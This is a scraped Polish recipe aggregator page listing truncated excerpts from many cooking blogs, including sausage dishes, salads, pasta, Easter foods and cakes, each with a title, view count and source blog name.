słoiczka sól, pieprz zielona cebulka Sposób przygotowania: 1. Śmietanę mieszamy z chrzanem, majerankiem, solą i pieprzem. Przekładamy do niewielkiego naczynia żaroodpornego. 2. Kiełbaski nacinamy z jednej strony. Układamy na sosie nacięciem do góry. 3. Pieczemy w 180 st.C przez 3-40 minut - do zrumienienia kiełbasek. Przed podaniem posypać siekaną zieloną cebulką. Podajemy na ciepło. Smacznego!!! Źródło: Katarzyna Rzepecka

Kuchnia domowa Ani
Placki ziemniaczane z ciecierzycą 165

stron na złoty kolor.  Placki ziemniaczane osączamy z tłuszczu na papierze kuchennym. Podajemy np. z dodatkiem pomidorowej salsy  Pico De Gallo (przepis znajdziesz  tutaj  ) lub sosem czosnkowym (przepis znajdziesz  tutaj

Qchnia po prostu
Fasolka z cukinią i kiełbasą w pomidorach 115

Bardzo szybkie, pożywne danie jednogarnkowe. Składniki: 1 cukinia 1 laska kiełbasy wiejskiej 1 puszka fasolki w sosie pomidorowym 1 puszka pomidorów krojonych sól pieprz natka pietruszki 1/2 cebuli 3 łyżki oleju 2 ząbki czosnku Do garnka wlewam olej, wrzucam posiekaną w kostkę cebulę i rozgnieciony czosnek. Chwilę duszę, dodaję pokrojoną w kostkę kiełbasę i podsmażam. Dodaję pokrojoną w kostkę cukinię

MojaQchnia.pl
Makaron z zielonym kalafiorem 130

Makaron z zielonym kalafiorem Dzisiejszy makaron z zielonym kalafiorem, to wspaniałe danie. Kremowy sos z czosnkową nutą, chrupiący, wyjątkowy kalafior i w moim przypadku makaron tagliatelle, którego jestem fanem… To wszystko składa się na udany obiad! Opowiem Ci jeszcze o tym, czym w ogóle jest zielony kalafior, bo nie różni się on tylko kolorem od tego zwyczajnego! Inna jego

Blendman
Bezglutenowe kluski z soczewicą 164

skleić ciasto ziemniaczane, formując okrągłą kluskę. Kluski wrzucić na posolony wrzątek. Gotować ok. 2-3 minut od ponownego zawrzenia wody i wypłynięcia klusek na powierzchnię. Kluski podawać np. z sosem pieczarkowym i surówką z kapusty czerwonej. Niewykorzystany farsz może zostać użyty jako pasta do pieczywa

Weekendy w domu i ogrodzie
Sałatka z tuńczykiem 162

produkty. Super opcją okazała się ta sałatka z tuńczykiem ;) Znika w mgnieniu oka! Przepis na sałatkę znalazłam na stronie  Kulinarne Przeboje Składniki : 1 puszka tuńczyka w oleju lub sosie własnym (najlepiej w kawałkach) 1 woreczek ryżu parboiled pół puszki kukurydzy konserwowej 3 jajka na twardo pół malutkiej czerwonej cebuli 3-4 ogórki konserwowe lub kiszone 3 czubate łyżki majonezu

W kuchni bez szafek
MAZUREK SOLONY KARMEL Z DAKTYLAMI I CZEKOLADĄ 167

minut przed końcem gotowania, kiedy karmel zacznie brązowieć, można kilka razy potrząsnąć rondelkiem. Dolewamy śmietankę i dodajemy masło. Zagotowujemy i gotujemy 10-12 minut, aż karmel się rozpuści a sos lekko zgęstnieje (dodatkowo zgęstnieje po ostygnięciu).  Odstawiamy z ognia, dodajemy pokrojone daktyle i szczyptę soli morskiej. Mieszamy., zostawiamy do lekkiego przestygnięcia. Wykładamy na upieczony spód, posypujemy wiórkami czekolady

cool and minty
GRZYBY W GALARECIE 129

wody (ostrożnie, żeby woda nie nalała się do środka) – galaretka przy ściankach foremki się rozpuści i bez problemu przełożysz ją na talerz Smacznego! *galaretkę możesz podać np z sosem śmietanowym z koperkiem i szczypiorkiem (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł GRZYBY W GALARECIE pochodzi z serwisu SandraFrej.com

SandraFrej.com
Niedzielny obiad: Kurczak faszerowany chlebem 171

dużo. Nie musisz spinać wykałaczkami kurczaka. Wstaw do piekarnika nagrzanego do 200 stopni. Piecz przez pół godziny. Zmniejsz temperaturę do 180 stopni i piecz przez 30 minut, polewając wytworzonym sosem kurczaka co 15 minut. Po godzinie pieczenia przewróć kurczaka plecami do góry i piecz go w ten sposób przez 15 minut. Następnie znowu odwróć piersiami do góry i podpiekaj jeszcze

Niedzielny kucharz
Poniedziałek: Kurczak pieczony po prowansalsku 122

karmelizują się w trakcie pieczenia w wysokiej temperaturze. Kurczaka trzeba piec w mocno rozgrzanym piekarniku. Nie dodawajcie do niego za dużo wina – udka nie powinny gotować się w sosie, ale piec na dobrze rozgrzanym rondlu. Przepis pochodzi z cookingnyt.com Składniki: 2 nogi z kurczaka 3 łyżki oleju roślinnego 6 ząbków czosnku 4-6 szalotek 2 łyżki ziół prowansalskich

Niedzielny kucharz
Pizza z patelni (bez drożdży) 195

czosnku posiekanych . Podsmaż. Dodaj przecier pomidorowy i duś razem przez chwile. Dopraw solą i pieprzem. Zimna patelnie posmaruj oliwa, połóż placek, podsmaż z jednej strony na rumiano, przekręć, posmaruj sosem pomidorowym, połóż ulubione dodatki, przykryj przykrywka, zmniejsz ogień , smaż aż roztopi się ser. Smacznego

Oka w rosole czyli KaFka gotuje
Biała kiełbasa w piwie i musztardzie 143

Przygotowanie Przygotowujemy zalewę: piwo, obie musztardy, miód, olej i przyprawy mieszamy ze sobą. Na każdej kiełbasie robimy dwa nakłucia nożem. Następnie przekładamy je do dużej miski i zalewamy sosem piwnym. Odstawiamy przynajmniej na godzinę do lodówki (a najlepiej na całą noc). Cebule obieramy i kroimy w piórka. Następnie układamy je na dnie naczynia żaroodpornego. Na cebuli kładziemy kiełbasy. Wlewamy zalewę

e-PrzepisyKulinarne
Łazanki z młodą kapustą, boczkiem i kiełbasą 175

solą, świeżo mielonym pieprzem, mielonym kminkiem i dużą ilością majeranku. Na koniec dodać kapustę, wymieszać i podawać. Uwagi: Jeżeli dodacie więcej śmietany, to wyjdą Wam równie pyszne łazanki w sosie śmietanowym

Passions hobbies life
Szynka mocno pochrzaniona. 114

majeranku i układamy w brytfance z odrobiną marynaty na dnie. Pieczemy najpierw około 1,5 h w 180 stopniach pod przykryciem, raz podczas pieczenia obracamy ją i polewamy sosem z dna. Następnie zmniejszamy do 140 stopni i pieczemy jeszcze godzinkę- już odkrytą. I już! Kroimy i zajadamy, oczywiście z chrzanem! Smacznego! Share 0 Tweet 0 Pinterest 0 0 Shares

Latosiowydom
Kaczka z pomarańczami i jabłkami 123

godzin.  W połowie pieczenia odwracam kaczkę grzbietem do dołu i dodaję pozostałe pokrojone jabłka i pomarańcze. Na pół godziny przed końcem zdejmuję pokrywę i polewam kaczkę powstałym sosem lub sokiem z pomarańczy. Kaczka z pomarańczami i jabłkami z wolnowaru Przygotowaną wg powyższego przepisu kaczkę z pomarańczami i jabłkami wkładam do misy wolnowaru grzbietem do dołu. Na dno misy wlewam

Cztery Fajery
Makaron tagliatelle z krewetkami i pomidorkami 131

Makaron tagliatelle z krewetkami i pomidorkami w pysznym maślanym sosie. Prosty i szybki do przygotowania. Czas przygotowania:   15 minut Ilość porcji:  1-2 osób Trudność przygotowania:  łatwe Cena:  przystępna SKŁADNIKI: 20 szt krewetek 200 g makaronu tagliatelle 220 g pomidorków koktajlowych 1 czosnek pół pęczka natki pietruszki  ⅓ szklanki białego wina 60 g masła

karolgotuje
Jajka faszerowane pastą z makreli (Uova ripiene di sgombro) 202

SKŁADNIKI 150 g makreli w sosie w łasnym 6 jajek 1 marchewka 1 szalotka szczypta chili lub imbiru 2-3 łyżki majonezu s ó l, pieprz   Dekoracja: czerwona cebula, koperek, kapary **** INGREDIENTI 150 g di sgombro al naturale 6 uova 1 carota 1 scalogno un pizzico di chili o zenzero 2-3 cucchiai di maionese sale, pepe

La grande e la piccola cuoca
Placuszki ziemniaczane z sezamowym pesto! 159

składnik w tym daniu to pesto. Placuszki zrobicie dosłownie w kwadrans, jeśli już macie np. resztę ziemniaków z obiadu z dnia poprzedniego. Placuszki, można jeść same lub z dodatkiem sosów. Można je również polać palonym masłem, posypać chrustem np. z podprażonych orzechów laskowych lub podsmażonej bułki tartej. PRZEPIS NA PLACUSZKI Z ZIEMNIAKÓW I PESTO - około 2 kubki ugotowanych ziemniaków (najlepiej

SMYKWKUCHNI
Murzin 178

Święcelnikiem. Tradycyjnie wypiekano go w Wielki Piątek, po to aby w Wielką Sobotę mógł trafić do koszyka ze święconką, a następnie w niedzielę na wielkanocny stół. Doskonale smakuje z sosem chrzanowym lub ćwikłą z chrzanem.  Życzę Wam zdrowych i radosnych Świąt Wielkanocnych!   Składniki: 500 g mąki pszennej typ 1850 100 g masła 2 jajka 35 g świeżych drożdży

Smakowity Blog Kulinarny
KWIATKI Z CIASTA FRANCUSKIEGO Z BIAŁĄ KIEŁBASĄ 163

sporządzimy na spotkanie ze znajomymi. Robi sie je błyskawicznie (jak wiekszość wypieków z użyciem gotowego ciasta francuskiego), co jest ich dodatkową zaletą.  Pysznie smakują z ketchupem albo z sosem czosnkowym 😍 Składniki: 1 op. ciasta francuskiego 6 sztuk białej kiełbasy (sparzonej, średniej długości każda) 1 żółtko czarnuszka lub inne ulubione zioła Wykonanie: Ciasto francuskie rozwijamy. Tniemy poziomo na pół

Walijskie Pichcenie
Pyszny rosół z kaczki 177

ziemniaki 5-6 ziarenek ziela angielskiego 5-6 ziarenek pieprzu 2 liście laurowe sól makaron do rosołu natka pietruszki Przeczytaj także: Pierś z kaczki z jabłkami i sosem śliwkowym Przepis na rosół z kaczki Porcje rosołową myjemy, wkładamy do wysokiego garnka, zalewamy ok. 3 litrami wody i gotujemy ok. 1,5 godziny. Podczas gotowania od czasu do czasu zdejmujemy

Kulinarnyblog.pl - wiesz jak gotować!
Kolorowa sałatka z tuńczykiem (Insalata di tonno) 163

SKŁADNIKI  Sa ł atka 2 puszki tuńczyka w sosie w ł asnym 1 puszka groszku konserwowego 1 czerwona papryka 1 czerwona cebula 4 og ó rki kiszone p ę czek szczypiorku Dressing 1-2 łyżki jogurtu naturalnego 2-3 łyżki majonezu s ó l, pieprz  **** INGREDIENTI Insalata 2 scatole di tonno al naturale 1 scatola di piselli

La grande e la piccola cuoca
Sałatka jarzynowa z aromatyczną musztardą 120

Czasami warto „zaszaleć” i dodać coś od siebie. Tym razem poszliśmy za ciosem, namową naszej koleżanki, by dodać musztardę ze smażoną cebulką. Wyszła delikatna, lekko słodkawa sałatka z aksamitnym sosem majonezowo-musztardowym. Składniki: 3 ziemniaki 1 marchew 1 kawałek selera korzeniowego 2 jajka 1 mała puszka groszku konserwowego 2 łyżki majonezu 1 łyżka musztardy  ze smażoną cebulką sól, pieprz

R'n'G Kitchen
Potrawy wielkanocne 148

bułki znajdziesz tutaj: Bułeczki drożdżowe z kukurydzą Chrupiące krokiety ziemniaczane to doskonały zamiennik zwykłych ziemniaków. I choć ziemniaki z szybkowara kocham miłością niezmienną, to takie krokiety podane z sosem pieczarkowym są obłędne! Jeszcze jedna potrawa z ziemniaków - kluski śląskie nadziewane białą kiełbasą , bo tej nie może zabraknąć na wielkanocnym stole. Kluski są smaczne, miękkie i nadziane pysznym nadzieniem. Do okraszenia

MamaOskarka
Penne di montagna 124

poddusić aż alkohol odparuje. Dodać starty ser gorgonzola i wymieszać. Zmniejszyć moc palnika i dusić do rozspuszczenia się sera. Doprawić pieprzem. W międzyczasie ugotować makaron al dente. Dodać do sosu. Dokładnie wymieszać.  Podawać przyzdobiony kawałkami gorgonzoli lub natką pietruszki. Smacznego

Zielona Kuchnia
ZUPA JARZYNOWA Z TUŃCZYKIEM 149

jest właśnie to danie. Na początku gotuje się warzywa do miękkości z na sam koniec dodaje się pozostałe składniki. Składniki: 50 g wędzone boczku 2 puszki tuńczyka z sosie własnym 2 łyżki oliwy z oliwek 1 cebula 1 por 1 marchew 2 ziemniaki 1 litr bulionu warzywnego sól pieprz skórka z 1 cytryny 200 ml śmietanki 2 łyżki kaparów pietruszka

Kuchnia w oparach
[Wielkanoc] Jajka faszerowane na 6 sposobów 134

oraz cayenne miksujemy na gładką masę, którą nadziewamy jajka. Koperek oraz zielone oliwki drobno siekamy i posypujemy nimi jajka. Jajka faszerowane tuńczykiem Składniki: 5 jajek 1 puszka tuńczyka w sosie własnym 4-5 łyżek majonezu 1 łyżka chrzanu Sól/pieprz do smaku wg uznania Kilka rzodkiewek Drobno posiekana natka pietruszki Przygotowanie: Jajka gotujemy i przygotowujemy jak w pierwszym przepisie. Żółtka

Kate's Kitchen
Pasztet z fasoli z grzybami – kuchnia podkarpacka 184

podania oraz pasujące dodatki sprawiają, że nazwa pasztet pasuje do tego dania. Można go podawać do chleba, jako zimną przekąskę, ale można też go podgrzać i podać z sosem grzybowym na kolację. Przepis pochodzi od Koła Gospodyń Wiejskich „Komorowianka” z Komorowa koło Kolbuszowej. Pasztet z fasoli z grzybami - kuchnia podkarpacka Składniki na foremkę 13x26 cm: 400 g fasoli „jasiek

Trzeci talerz
Budyń z ryżu 108

jakim tylko chcesz! Ja Ci daję przepis na klasyczny waniliowy, ale sam już robiłem z mango i czekoladą (na zdjęciu) – przy blendowaniu dodałem obrane mango i udekorowałem sosem czekoladowym. Bardzo fajnie sprawdzi się z sezonowymi owocami, kilkoma kostkami czekolady w środku lub ulubionym syropem. Ja jednak najbardziej polecam Ci wersję podstawową, waniliową. Taki budyń ryżowy jest najlepszy. Polecam

Blendman
Jak odchudzić wielkanocny stół? 139

też raczej nie pomaga w tej kwestii...   Na szczęście jest kilka świątecznych trików, które można łatwo wprowadzić w życie: Majonez mieszaj z jogurtem naturalnym. Zdecydowanie obniży to kaloryczność sosu, nawet o połowę, a nie wpłynie znacząco na smak. Jest to idealne rozwiązanie np. do sałatki jarzynowej. Jaja nadziewaj zdrowymi, niskokalorycznymi produktami. Czym możemy nadziewać jajka? Np. pastą z awokado

Z notatnika dietetyka
Szaszłyki z białej kiełbasy i ciasta francuskiego 156

patyczek z delikatnym odstępem pomiędzy jednym a drugim. Tak samo postępujemy z pozostałymi. Przygotowane szaszłyki wkładamy do nagrzanego do 200ºC piekarnika na ok 20 minut. Podajemy z ulubionym sosem lub jako dodatek

Kuchnia w czekoladzie
Kotleciki Marsylianki 175

Kotleciki Marsylianki Takie kotleciki uwielbiają dzieci, ale również są idealne jako przekąska lub danie obiadowe podane z frytkami i sosem Składniki: ·        1 filet z kurczaka ·        Sól ·        Przyprawa do kurczaka ·        Oregano

Kulinarna Chwila
BEZY ZIEMNIACZANE 118

Bezy ziemniaczane to upieczona masa ziemniaczana o nucie sera. Idealne do mięs i sosów. Składniki: 1 kg ziemniaków 3 jajka 1/2 szkl. śmietany 50 g sera żółtego startego 2 łyżki masła sól pieprz olej Ziemniaki obrać i ugotować w osolonej wodzie. Odcedzić i zemleć je. Oddzielić żółtka od białek. Białka ubić na sztywną pianę. Do ziemniaków dodać masło, żółtka

Kuchnia w oparach
MINI BEZA PAVLOVA Z OWOCAMI 110

około godziny. Powinny być suche z zewnątrz i piankowe w środku. Śmietanę kremówkę ubić na sztywno z cukrem pudrem. Wyłożyć ją na przestudzone bezy. Wierzch udekorować owocami i polać sosem variegato malinowym

Zrób to smacznie
Curry z kalafiorem i ziemniakami 233

Bardzo aromatyczne ale nie ostre danie. Idealne w połączeniu z chlebkami naan. Moja 2 letnia córka zjada podwójna porcje. Bo kto nie lubi dobrze doprawionych ziemniaków w sosie pełnym smaku? Składniki (4 porcje): 0,5 kg ziemniaków 1 kalafior 2 marchewki 0,5 szklanki czerwonej soczewicy 400 ml pomidorów z puszki 400 ml mleka kokosowego z puszki 200 ml wywaru

Mohiella
Pieczona Młoda Wieprzowinka 149

zakończeniu pieczenia, ważne jest aby mięso pozostało we własnych sokach co najmniej przez 2-3 godzinki. Ps. Mięso można spokojnie podać na ciepło, krojąc w grubsze plastry i polewając sosem

Gotowanie...to proste !
Zapiekanka Gyros z makaronem 145

mięso, posypujemy łyżką mąki. Całość zalewamy wodą i chwilę dusimy. Na koniec dodajemy śmietankę, mieszamy nie gotujemy. Doprawiamy papryką solą i pieprzem. W naczyniu żaroodpornym układamy warstwę makaronu, warstwę sosu i 2/3 sera, tak na zmianę. Posypujemy resztą żółtego sera i zapiekamy w 180 stopni przez 20 minut. Gotowe. Smacznego:) Artykuł Zapiekanka Gyros z makaronem pochodzi z serwisu

gotuj ze mną
Sałatka z kukurydzą i ananasem 181

kolorową marchewką i piernikowym dressingiem Sałatka z pieczonych buraków i czerwonych pomarańczy Sałatka ze świeżym ananasem i winogronami Sałatka z paluszkami surimi i czosnkiem Sałatka z krewetkami i różowym sosem Sałatka ze świeżym ananasem i kurczakiem Sałatka z kukurydzą i ananasem Sałatka z kukurydzą i ananasem Czas przygotowania: 20 minut Składniki: 1 puszka kukurydzy 250 g żółtego sera, u mnie

Kulinarne przygody Gatity
Tradycyjny żurek wielkanocny 171

zakwasu na żurek 2 łyżeczki chrzanu 2 łyżeczki suszonego majeranku 4 białe, surowe kiełbasy 4 jajka ugotowane na twardo 6 łyżek śmietanki 18% lub 30% do zup i sosów sól, pieprz Sposób wykonania: Do dużego garnka wkładamy żeberka i zalewamy je wodą, następnie dodajemy obrane i umyte warzywa. Cebulę opalamy dla lepszego smaku (opcjonalnie) i dodajemy do garnka. Wszystko razem

Mostek w kuchni
Kiełbasa biała pieczona z jabłkami i czerwonym winem 174

Przepyszna,nie mogę się nią najeść ,cudowny sos,który powstaje z soku od jabłek, cebulki i czerwonego wina jest obłędny.Do tego banalna do zrobienia ,spróbujcie koniecznie ba święta lub po prostu na obiad,gorąco polecam

Swojskie jedzonko
Sałatka z brokułem i mozzarellą 187

podzielić na różyczki, ugotować. Mozarellę pokroić na mniejsze kawałki, pomidory przekroić na pół. Na półmisku bądź na 4 mniejszych talerzach rozdzielić szpinak, ułożyć brokuł, mozarellę i pomidorki. Całość polać sosem czosnkowym. Smacznego

magiczna kuchnia Kasi
Pesto z orzechów laskowych i pietruszki 158

zmiksuj. Gęstość pesto dopasuj wedle własnego uznania, dolewając do niego oliwy z oliwek. Pesto przechowujemy w lodówce, zawsze w zamkniętym słoju, warto aby na wierzchu była oliwa co zabezpieczy sos przed dostępem powietrza, dzięki czemu nie popsuje się i nawet do 7 dni może być przechowywany w ten sposób w lodówce. Smacznego

SMYKWKUCHNI
Makaron z domowym pesto i karmelizowaną brukselką. Obiad w 15 minut 168

zapiekanka francuska 2. Risotto z szafranem i parmezanem 3. Ravioli ze szpinakiem i serkiem kozim 4. Indyk z ananasem i mleczkiem kokosowym. 5. Risotto z ośmiornicą 6. Krewetki w sosie kokosowym z tagliatelle marchewkowym 7. Makaron z zielonym groszkiem i krewetkami 8. Prawdziwa zupa pieczarkowa 9. Moja ulubiona zupa gołąbkowa

SMYKWKUCHNI
Chleb w jajku z mięsem mielonym 148

smażyć kilka minut na tłuszczu. Następnie cebulę obrać, pokroić dodać do mięsa, dusić przez chwilę.  W razie potrzeby podlać odrobinę ciepłej wody dodaj koncentrat i dusić do odparowania sosu. Jajka wybić do miski, roztrzepać  z solą i pieprzem, wlać mleko, dokładnie wymieszać. Kromki chleba zanurzać w mleku i układać na gorącej patelni, tak aby utworzyć okrąg. Resztę roztrzepanego

Kuchnia Danusi
Gulasz z białej kiełbasy 134

Gulasz z białej kiełbasy – pyszny pomysł na obiad lub danie na Wielkanoc. Idealna potrawa dla osób, które uwielbiają białą kiełbasę. Kawałki mięsa w pysznym sosie pomidorowym zasmakują każdemu! Gorąco zachęcam do wypróbowania mojego przepisu na The post Gulasz z białej kiełbasy appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Fioletowe jajka (marynowane w czerwonej kapuście) 213

jajka marynowane w curry  i jajka na różowo →  marynowane jajka . Teraz przyszła kolej na kolor fioletowy. Pięknie wyglądają na świątecznym stole. Można je jeść z odrobiną majonezu, sosem tatarskim lub chrzanowym. Kulinarne inspiracje Na blogu znajdziecie także inne pomysły na jajka: Jajka faszerowane fetą i koncentratem pomidorowym Jajka faszerowane pastą szpinakową Marmurkowe chińskie jajka Faszerowane jajka z musztardą

Kulinarne przygody Gatity
Makaron z tuńczykiem w sosie śmietanowym 194

doprawiamy solą i pieprzem i dusimy od czasu do czasu mieszając przez parę minut. Na koniec dodajemy koperek. Gotujemy makaron w osolonej wodzie al'dente, odcedzamy i wrzucamy do sosu. Całość dokładnie mieszamy

Qchnia po prostu
Tajska sałatka z tofu 115

Jaka jest ta tajska sałatka? Jest to cudowna mieszanka smaków. Spotykają się tutaj słony, słodki, ostry i kwaśny, grając na naszych kubeczkach smakowych i tworząc niesamowitą symfonię. Pomimo użycia sosu sriracha, sama sałatka nie jest ostra! Wszystkie smaki są zbalansowane, dzieki czemu nie pali Cię w buzi z ostrości i nie wykręca od kwaśności. To jest po prostu petarda. Sałatka

Blendman
Puree z brokuła – super zdrowe! 164

prostu, możemy jako dodatek do sztuki mięsa, ryby czy kotleta warzywnego. Możemy je tez potraktować jako jarzynkę do obiadu. Świetnie sprawdza się jako dip do chipsów, pasta do kanapek, sos do makaronu. Naprawdę ma wiele super zastosowań! Możemy przygotować je z brokuła świeżego lub mrożonego. Brokuła w takiej formie często jedzą nawet osoby, które nie przepadają za tym warzywem. PRZEPIS

Dorota Smakuje
Pieczona karkówka na słodko 169

Karkówka upieczona w plastrach w aromatycznym sosie na słodko. Kruche rozpływające się w ustach mięso idealnie pasuje na obiad i nie tylko. Czas przygotowania:   1 godzina Ilość porcji: 6 osób Trudność przygotowania:  średnie Cena:  przystępna SKŁADNIKI: 1 kg karkówki 1 cebula biała 1 cebula czerwona 4 ząbki czosnku ½ szklanki oleju ½ ketchupu ( mix łagodny/pikantny ) 3 łyżki

karolgotuje
Kluski śląskie 137

Kluski śląskie to tradycyjne polskie kluski z charakterystyczną dziurką w środku. Podaje się zamiast ziemniaków, najczęściej do sosów i różnych dań mięsnych. Czas przygotowania:   1 godzina Ilość porcji:  4-6 osób Trudność przygotowania:  średnie Cena:  tanie SKŁADNIKI: 1 kg ugotowanych ziemniaków 2 jajka mąka ziemniaczana / skrobia ziemniaczana sól 1. Ugotowane ziemniaki przeciskamy przez praskę

karolgotuje
Tarta z boczkiem czyli klasyczna Quiche Lorraine 131

tarty możecie wykorzystać dowolny rodzaj cukinii – zielone, żółte, okrągłe, podłużne – pozostawiam to Waszej inwencji i stanowi lodówki. Tarta sama w sobie jest dość sucha, dlatego przygotowałam do niej pyszny sos z dodatkiem skórki cytrynowej i mięty. Sami przekonajcie się że pasuje tu idealnie. Polecane przepisy: – w jednym miejscu wszystkie moje najlepsze przepisy na kolację – tarta z cukinią – ślimaczki

nietylkopasta.pl
Domowe smaki dzieciństwa z restauracji 133

miodu, dając chleb z ogromną zawartością błonnika. Doskonałym dodatkiem do chleba będzie natomiast masło pistacjowe, bądź orzechowe, powstające ze zmielonych drobno orzechów, bez niepotrzebnego prażenia, solenia lub dosładzania. Naturalne sosy i dodatki do potraw W Restauracji Schronisko Smaków nie zabrakło również gotowych dodatków do dań. W przeciwieństwie do produktów ze sklepowych półek, te wytwarzane w restauracji pani Magdy Gessler

Codogara
Szaszłyki z białej kiełbasy w cieście francuskim 135

cieście francuskim – to super pomysł na prosty dodatek, np. do wielkanocnego żurku lub barszczu białego. U nas sprawdza się także jako przekąska na imprezę, zwłaszcza w towarzystwie sosu chrzanowego na bazie majone The post Szaszłyki z białej kiełbasy w cieście francuskim appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Sałatki z 3 składników + sos - 3 przepisy 141

Pyszne sałatki z 3 składników + sos ,szybki i proste,z chrupiącym kalafiorem,z brokułem czy z kurczakiem?Wybierzcie sami która jest dla was najlepsza,wszystkie są smaczne,polecam

Swojskie jedzonko
Cannelloni z mięsem w sosie pomidorowym 241

łodygi selera naciowego ok. 100 szpinaku mrożonego w brykiecie 1 mały koncentrat pomidorowy sól, pieprz słodka papryka, zioła prowansalskie cukier … Czytaj dalej Cannelloni z mięsem w sosie pomidorowym

czarrna od kuchni
Pałki kurze nadziewane gruszką i serem gorngonzola 125

czego doprawić solą lub pieprzem. Gdyby wywar się wygotował wlać trochę wody. Na koniec wlać śmietanę, wsypać pozostałą natkę pietruszki i wymieszać. Podawać z makaronem lub ryżem. Można zagęścić sos odrobiną mąki rozmieszanej w małej ilości wody. Smacznego

Kuchnia Pokoleń
Amerykańskie ciasto na pizze 174

przykrywamy ściereczką i odstawiamy w ciepłe miejsce na ok 40 min do wyrośnięcia, wyrośnięte ciasto podzieliłam na pół, jedną połówkę rozprowadziłam po nasmarowanej oliwą dnie formy od tortownicy, posmarowałam sosem pomidorowym, wyłożyłam dodatki i zostawiałam jeszcze na ok 5-10 min aby ciasto lekko podrosło, pizzę wstawiłam do rozgrzanego piekarnika i piekłam do momentu aż ser się rozpuścił, dodatki ładnie

Blog kulinarny S9.PL
Wędlina twarogowa na kanapki, terrina ogórkowo-koperkowa 777

populacji oraz wampirom, polecam ograniczyć ilość czosnku i będzie ok Smaczne, proste danie, które w naszym domku, największe wzięcie ma na kanapkach, dodatkowo ustrojone jeszcze pomidorem lub jakimś chrzanowym sosem.. mniam… Polecam w końcu, mamy prawie albo już wiosnę i trzeba jakoś ożywić te nasze „jaskinie przetrwania” jakimi stały się nasze domy w ostatnim czasie , więc

Ogrodnik w podróży
terrina wielkanocna 130

jedno za drugim i wykładamy pozostałą masę tak aby jajka były pokryte. Całość wstawiamy do lodówki, do całkowitego stężenia. Gotową terrinę kroimy w grube plastry i podajemy np. z sosem chrzanowym, piklami

Domowy Smak Jedzenia
Spiżarnia Schronisko Smaków, czyli podhalańska natura na talerzu 143

czuć tu od pierwszego kęsa. Na uznanie zasługują również dodatki, podobnie jak wszystko inne w tym miejscu – oparte na naturalnych recepturach: ketchup i chrzan, masło orzechowe, musztardy i sosy a także marynaty. Jeśli dodasz to tego dostępne tu naturalne pieczywo, stworzysz prawdziwą ucztę dla swoich zmysłów. Proste z pozoru dania nabierają dzięki tym produktom niespotykanego dotąd charakteru. Spiżarnia Schronisko

Ugotowane pozamiatane
Zapiekana cukinia z kaszą jaglaną, porem, papryką i pomidorami 146

patelni rozgrzać oliwę, zeszklić pora. Dodać paprykę, poddusić 2 minuty, dodać cukinię, poddusić dwie minuty, dodać pomidory, poddusić 10 min na średnim ogniu, tak aby z sosu wyparowała woda (nie musi wyparować cała). Dodać ugotowaną kaszę, dodać przyprawy, wymieszać, poddusić na średnim ogniu przez 5 min. Cukinie położyć na blaszkę wysmarowaną olejem. Na każdą cukinię nakładać farszu z górką. Wstawić

moj przepis na
Francuski warkocz na szybko 128

zarumienienienia się ciasta. Wyjąć warkocz, lekko przestudzić, pokroić na plastry o grubości 2 cm, podawać ze świeżą sałatą wówczas może to być samodzielne danie, lub jako przekąska z sosem miętowym lub innym wg. uznania. Smacznego

moj przepis na
Pasztet szlachecki 151

formy Dzień wcześniej upiec mięso. Opłukać, osuszyć, przełożyć do żaroodpornego naczynia, ułożyć (jedno na drugim) wołowinę, wieprzowinę, podgardle, boczek. Piec 1 godzinę w 180 st. Po upieczeniu ostudzić. W sosie, który wycieknie z mięsa wymoczyć porwaną na kawałki kajzerkę. Przyprawy rozgnieść w moździerzu na proszek. Cebulę obrać, pokroić w ćwiartki, usmażyć na pozostałym tłuszczu z pieczenia mięsa na rumiany kolor

moj przepis na
Torcik czekoladowy ze świeżymi owocami 147

palnika. Rozpuszczoną żelatynę powoli wmieszać do owoców, uważając, by nie wytworzyły się grudki (można najpierw ją rozrobić z odrobiną soku z owoców, by nie była tak gęsta). Schłodzić, by sos owocowy zgęstniał. Frużelina powinna mieć konsystencję żelu-kisielu (nie może być jednak gęsta jak galaretka). Ponadto: świeże owoce do dekoracji wierzchu tortu Wykonanie: Jeden z blatów tortu położyć na paterze

moj przepis na
Walentynkowy torcik z musem z owoców leśnych 169

niedużym garnuszku podgrzać śmietanę kremówkę, prawie do wrzenia. Zdjąć z palnika, dodać połamaną na kostki czekoladę, odstawić na 2 minuty. Po tym czasie wymieszać, do otrzymania gładkiego czekoladowego sosu. Ciasto nie musi leżakować, można spożywać od razu po przygotowaniu. Smacznego! Walentynkowy torcik z musem z owoców leśnych Walentynkowy torcik z musem z owoców leśnych Walentynkowy torcik z musem z owoców

moj przepis na
Tort ombre jogurtowo-truskawkowy 148

masę, która będzie przypominać w konsystencji gęstą kwaśną śmietanę Powyższe czynności można przygotować dzień wcześniej. W dniu przekładania tortu: Żelatynę rozpuścić we wrzątku, wymieszać do całkowitego rozpuszczenia, 2 łyżki sosu owocowego wymieszać z żelatyną, następnie żelatynę wlać do pozostałych owoców. Dokładnie wymieszać lub zblendować, żeby żelatyna dokładnie się rozpuściła i żeby nie było grudek. Odstawić do całkowitego ostudzenia. Schować

moj przepis na
Muffiny marchewkowe 174

wysypać otrębami, nakładać po czubatej łyżce ciasta, wyrównać. Piec w 180 st. przez 30 min (do suchego patyczka), wyjąć ostudzić chwilkę podawać jeszcze ciepłe/gorące. Można podawać z sosem zrobionym na bazie jogurtu, czosnku i ziół. Smacznego! Muffiny marchewkowe Muffiny marchewkowe

moj przepis na
Rysiowy sernik wegański z owocami 153

sernik, na to wyłożyć połówki śliwek, rozcięciem ku górze. Piec 1 godzinę w 180 st. Wystudzić w piekarniku. Po wystudzeniu, schować do lodówki na 2-3 godziny. Podawać z sosem czekoladowym. Smacznego! Rysiowy sernik wegański z owocami Rysiowy sernik wegański z owocami Rysiowy sernik wegański z owocami

moj przepis na
Domowy ocet jabłkowy 165

wyrzucajcie skórek tylko przygotujcie swój własny ocet. Ocet jabłkowy ma bardzo wiele zastosowań zdrowotnych, kulinarnych itp. tu sobie o nich możecie poczytać. Ja przygotowałam go głównie z myślą o sosach do sałatek. Źródło: Składniki: Skórki po jabłkach woda przegotowana i ostudzona cukier Jabłka dokładnie wyszorować. Wykroić zgniłe czy obite części, obrać, wyciąć, następnie wyrzucić gniazda nasienne, jabłka zjeść lub przygotować

moj przepis na
Zapiekanka z chleba 162

